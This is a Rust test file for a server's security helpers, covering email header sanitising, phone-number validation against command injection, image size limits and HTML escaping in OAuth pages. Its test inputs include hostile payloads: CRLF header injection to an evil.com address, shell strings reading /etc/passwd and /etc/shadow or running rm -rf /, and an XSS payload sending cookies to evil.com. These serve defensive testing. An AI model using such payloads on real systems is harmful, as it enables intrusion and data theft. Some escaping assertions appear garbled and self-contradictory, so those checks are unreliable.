this repo has no description
1mod common;
2use bspds::image::{ImageError, ImageProcessor};
3use bspds::notifications::{SendError, is_valid_phone_number, sanitize_header_value};
4use bspds::oauth::templates::{error_page, login_page, success_page};
5
6#[test]
7fn test_sanitize_header_value_removes_crlf() {
8 let malicious = "Injected\r\nBcc: attacker@evil.com";
9 let sanitized = sanitize_header_value(malicious);
10 assert!(!sanitized.contains('\r'), "CR should be removed");
11 assert!(!sanitized.contains('\n'), "LF should be removed");
12 assert!(
13 sanitized.contains("Injected"),
14 "Original content should be preserved"
15 );
16 assert!(
17 sanitized.contains("Bcc:"),
18 "Text after newline should be on same line (no header injection)"
19 );
20}
21
22#[test]
23fn test_sanitize_header_value_preserves_content() {
24 let normal = "Normal Subject Line";
25 let sanitized = sanitize_header_value(normal);
26 assert_eq!(sanitized, "Normal Subject Line");
27}
28
29#[test]
30fn test_sanitize_header_value_trims_whitespace() {
31 let padded = " Subject ";
32 let sanitized = sanitize_header_value(padded);
33 assert_eq!(sanitized, "Subject");
34}
35
36#[test]
37fn test_sanitize_header_value_handles_multiple_newlines() {
38 let input = "Line1\r\nLine2\nLine3\rLine4";
39 let sanitized = sanitize_header_value(input);
40 assert!(!sanitized.contains('\r'), "CR should be removed");
41 assert!(!sanitized.contains('\n'), "LF should be removed");
42 assert!(
43 sanitized.contains("Line1"),
44 "Content before newlines preserved"
45 );
46 assert!(
47 sanitized.contains("Line4"),
48 "Content after newlines preserved"
49 );
50}
51
52#[test]
53fn test_email_header_injection_sanitization() {
54 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
55 let sanitized = sanitize_header_value(header_injection);
56 let lines: Vec<&str> = sanitized.split("\r\n").collect();
57 assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
58 assert!(
59 sanitized.contains("Normal Subject"),
60 "Original content preserved"
61 );
62 assert!(
63 sanitized.contains("Bcc:"),
64 "Content after CRLF preserved as same line text"
65 );
66 assert!(
67 sanitized.contains("X-Injected:"),
68 "All content on same line"
69 );
70}
71
72#[test]
73fn test_valid_phone_number_accepts_correct_format() {
74 assert!(is_valid_phone_number("+1234567890"));
75 assert!(is_valid_phone_number("+12025551234"));
76 assert!(is_valid_phone_number("+442071234567"));
77 assert!(is_valid_phone_number("+4915123456789"));
78 assert!(is_valid_phone_number("+1"));
79}
80
81#[test]
82fn test_valid_phone_number_rejects_missing_plus() {
83 assert!(!is_valid_phone_number("1234567890"));
84 assert!(!is_valid_phone_number("12025551234"));
85}
86
87#[test]
88fn test_valid_phone_number_rejects_empty() {
89 assert!(!is_valid_phone_number(""));
90}
91
92#[test]
93fn test_valid_phone_number_rejects_just_plus() {
94 assert!(!is_valid_phone_number("+"));
95}
96
97#[test]
98fn test_valid_phone_number_rejects_too_long() {
99 assert!(!is_valid_phone_number("+12345678901234567890123"));
100}
101
102#[test]
103fn test_valid_phone_number_rejects_letters() {
104 assert!(!is_valid_phone_number("+abc123"));
105 assert!(!is_valid_phone_number("+1234abc"));
106 assert!(!is_valid_phone_number("+a"));
107}
108
109#[test]
110fn test_valid_phone_number_rejects_spaces() {
111 assert!(!is_valid_phone_number("+1234 5678"));
112 assert!(!is_valid_phone_number("+ 1234567890"));
113 assert!(!is_valid_phone_number("+1 "));
114}
115
116#[test]
117fn test_valid_phone_number_rejects_special_chars() {
118 assert!(!is_valid_phone_number("+123-456-7890"));
119 assert!(!is_valid_phone_number("+1(234)567890"));
120 assert!(!is_valid_phone_number("+1.234.567.890"));
121}
122
123#[test]
124fn test_signal_recipient_command_injection_blocked() {
125 let malicious_inputs = vec![
126 "+123; rm -rf /",
127 "+123 && cat /etc/passwd",
128 "+123`id`",
129 "+123$(whoami)",
130 "+123|cat /etc/shadow",
131 "+123\n--help",
132 "+123\r\n--version",
133 "+123--help",
134 ];
135 for input in malicious_inputs {
136 assert!(
137 !is_valid_phone_number(input),
138 "Malicious input '{}' should be rejected",
139 input
140 );
141 }
142}
143
144#[test]
145fn test_image_file_size_limit_enforced() {
146 let processor = ImageProcessor::new();
147 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
148 let result = processor.process(&oversized_data, "image/jpeg");
149 match result {
150 Err(ImageError::FileTooLarge { .. }) => {}
151 Err(other) => {
152 let msg = format!("{:?}", other);
153 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
154 panic!("Expected FileTooLarge error, got: {:?}", other);
155 }
156 }
157 Ok(_) => panic!("Should reject files over size limit"),
158 }
159}
160
161#[test]
162fn test_image_file_size_limit_configurable() {
163 let processor = ImageProcessor::new().with_max_file_size(1024);
164 let data: Vec<u8> = vec![0u8; 2048];
165 let result = processor.process(&data, "image/jpeg");
166 assert!(result.is_err(), "Should reject files over configured limit");
167}
168
169#[test]
170fn test_oauth_template_xss_escaping_client_id() {
171 let malicious_client_id = "<script>alert('xss')</script>";
172 let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
173 assert!(!html.contains("<script>"), "Script tags should be escaped");
174 assert!(
175 html.contains("<script>"),
176 "HTML entities should be used for escaping"
177 );
178}
179
180#[test]
181fn test_oauth_template_xss_escaping_client_name() {
182 let malicious_client_name = "<img src=x onerror=alert('xss')>";
183 let html = login_page(
184 "client123",
185 Some(malicious_client_name),
186 None,
187 "test-uri",
188 None,
189 None,
190 );
191 assert!(!html.contains("<img "), "IMG tags should be escaped");
192 assert!(
193 html.contains("<img"),
194 "IMG tag should be escaped as HTML entity"
195 );
196}
197
198#[test]
199fn test_oauth_template_xss_escaping_scope() {
200 let malicious_scope = "\"><script>alert('xss')</script>";
201 let html = login_page(
202 "client123",
203 None,
204 Some(malicious_scope),
205 "test-uri",
206 None,
207 None,
208 );
209 assert!(
210 !html.contains("<script>"),
211 "Script tags in scope should be escaped"
212 );
213}
214
215#[test]
216fn test_oauth_template_xss_escaping_error_message() {
217 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
218 let html = login_page(
219 "client123",
220 None,
221 None,
222 "test-uri",
223 Some(malicious_error),
224 None,
225 );
226 assert!(
227 !html.contains("<script>"),
228 "Script tags in error should be escaped"
229 );
230}
231
232#[test]
233fn test_oauth_template_xss_escaping_login_hint() {
234 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
235 let html = login_page(
236 "client123",
237 None,
238 None,
239 "test-uri",
240 None,
241 Some(malicious_hint),
242 );
243 assert!(
244 !html.contains("onfocus=\"alert"),
245 "Event handlers should be escaped in login hint"
246 );
247 assert!(html.contains("""), "Quotes should be escaped");
248}
249
250#[test]
251fn test_oauth_template_xss_escaping_request_uri() {
252 let malicious_uri = "\" onmouseover=\"alert('xss')\"";
253 let html = login_page("client123", None, None, malicious_uri, None, None);
254 assert!(
255 !html.contains("onmouseover=\"alert"),
256 "Event handlers should be escaped in request_uri"
257 );
258}
259
260#[test]
261fn test_oauth_error_page_xss_escaping() {
262 let malicious_error = "<script>steal()</script>";
263 let malicious_desc = "<img src=x onerror=evil()>";
264 let html = error_page(malicious_error, Some(malicious_desc));
265 assert!(
266 !html.contains("<script>"),
267 "Script tags should be escaped in error page"
268 );
269 assert!(
270 !html.contains("<img "),
271 "IMG tags should be escaped in error page"
272 );
273}
274
275#[test]
276fn test_oauth_success_page_xss_escaping() {
277 let malicious_name = "<script>steal_session()</script>";
278 let html = success_page(Some(malicious_name));
279 assert!(
280 !html.contains("<script>"),
281 "Script tags should be escaped in success page"
282 );
283}
284
285#[test]
286fn test_oauth_template_no_javascript_urls() {
287 let html = login_page("client123", None, None, "test-uri", None, None);
288 assert!(
289 !html.contains("javascript:"),
290 "Login page should not contain javascript: URLs"
291 );
292 let error_html = error_page("test_error", None);
293 assert!(
294 !error_html.contains("javascript:"),
295 "Error page should not contain javascript: URLs"
296 );
297 let success_html = success_page(None);
298 assert!(
299 !success_html.contains("javascript:"),
300 "Success page should not contain javascript: URLs"
301 );
302}
303
304#[test]
305fn test_oauth_template_form_action_safe() {
306 let malicious_uri = "javascript:alert('xss')//";
307 let html = login_page("client123", None, None, malicious_uri, None, None);
308 assert!(
309 html.contains("action=\"/oauth/authorize\""),
310 "Form action should be fixed URL"
311 );
312}
313
314#[test]
315fn test_send_error_types_have_display() {
316 let timeout = SendError::Timeout;
317 let max_retries = SendError::MaxRetriesExceeded("test".to_string());
318 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string());
319 assert!(!format!("{}", timeout).is_empty());
320 assert!(!format!("{}", max_retries).is_empty());
321 assert!(!format!("{}", invalid_recipient).is_empty());
322}
323
324#[test]
325fn test_send_error_timeout_message() {
326 let error = SendError::Timeout;
327 let msg = format!("{}", error);
328 assert!(
329 msg.to_lowercase().contains("timeout"),
330 "Timeout error should mention timeout"
331 );
332}
333
334#[test]
335fn test_send_error_max_retries_includes_detail() {
336 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
337 let msg = format!("{}", error);
338 assert!(
339 msg.contains("503") || msg.contains("retries"),
340 "MaxRetriesExceeded should include context"
341 );
342}
343
344#[tokio::test]
345async fn test_check_signup_queue_accepts_session_jwt() {
346 use common::{base_url, client, create_account_and_login};
347 let base = base_url().await;
348 let http_client = client();
349 let (token, _did) = create_account_and_login(&http_client).await;
350 let res = http_client
351 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
352 .header("Authorization", format!("Bearer {}", token))
353 .send()
354 .await
355 .unwrap();
356 assert_eq!(
357 res.status(),
358 reqwest::StatusCode::OK,
359 "Session JWTs should be accepted"
360 );
361 let body: serde_json::Value = res.json().await.unwrap();
362 assert_eq!(body["activated"], true);
363}
364
365#[tokio::test]
366async fn test_check_signup_queue_no_auth() {
367 use common::{base_url, client};
368 let base = base_url().await;
369 let http_client = client();
370 let res = http_client
371 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
372 .send()
373 .await
374 .unwrap();
375 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work");
376 let body: serde_json::Value = res.json().await.unwrap();
377 assert_eq!(body["activated"], true);
378}
379
380#[test]
381fn test_html_escape_ampersand() {
382 let html = login_page("client&test", None, None, "test-uri", None, None);
383 assert!(html.contains("&"), "Ampersand should be escaped");
384 assert!(
385 !html.contains("client&test"),
386 "Raw ampersand should not appear in output"
387 );
388}
389
390#[test]
391fn test_html_escape_quotes() {
392 let html = login_page("client\"test'more", None, None, "test-uri", None, None);
393 assert!(
394 html.contains(""") || html.contains("""),
395 "Double quotes should be escaped"
396 );
397 assert!(
398 html.contains("'") || html.contains("'"),
399 "Single quotes should be escaped"
400 );
401}
402
403#[test]
404fn test_html_escape_angle_brackets() {
405 let html = login_page("client<test>more", None, None, "test-uri", None, None);
406 assert!(html.contains("<"), "Less than should be escaped");
407 assert!(html.contains(">"), "Greater than should be escaped");
408 assert!(
409 !html.contains("<test>"),
410 "Raw angle brackets should not appear"
411 );
412}
413
414#[test]
415fn test_oauth_template_preserves_safe_content() {
416 let html = login_page(
417 "my-safe-client",
418 Some("My Safe App"),
419 Some("read write"),
420 "valid-uri",
421 None,
422 Some("user@example.com"),
423 );
424 assert!(
425 html.contains("my-safe-client") || html.contains("My Safe App"),
426 "Safe content should be preserved"
427 );
428 assert!(
429 html.contains("read write") || html.contains("read"),
430 "Scope should be preserved"
431 );
432 assert!(
433 html.contains("user@example.com"),
434 "Login hint should be preserved"
435 );
436}
437
438#[test]
439fn test_csrf_like_input_value_protection() {
440 let malicious = "\" onclick=\"alert('csrf')";
441 let html = login_page("client", None, None, malicious, None, None);
442 assert!(
443 !html.contains("onclick=\"alert"),
444 "Event handlers should not be executable"
445 );
446}
447
448#[test]
449fn test_unicode_handling_in_templates() {
450 let unicode_client = "客户端 クライアント";
451 let html = login_page(unicode_client, None, None, "test-uri", None, None);
452 assert!(
453 html.contains("客户端") || html.contains("&#"),
454 "Unicode should be preserved or encoded"
455 );
456}
457
458#[test]
459fn test_null_byte_in_input() {
460 let with_null = "client\0id";
461 let sanitized = sanitize_header_value(with_null);
462 assert!(
463 sanitized.contains("client"),
464 "Content before null should be preserved"
465 );
466}
467
468#[test]
469fn test_very_long_input_handling() {
470 let long_input = "x".repeat(10000);
471 let sanitized = sanitize_header_value(&long_input);
472 assert!(
473 !sanitized.is_empty(),
474 "Long input should still produce output"
475 );
476}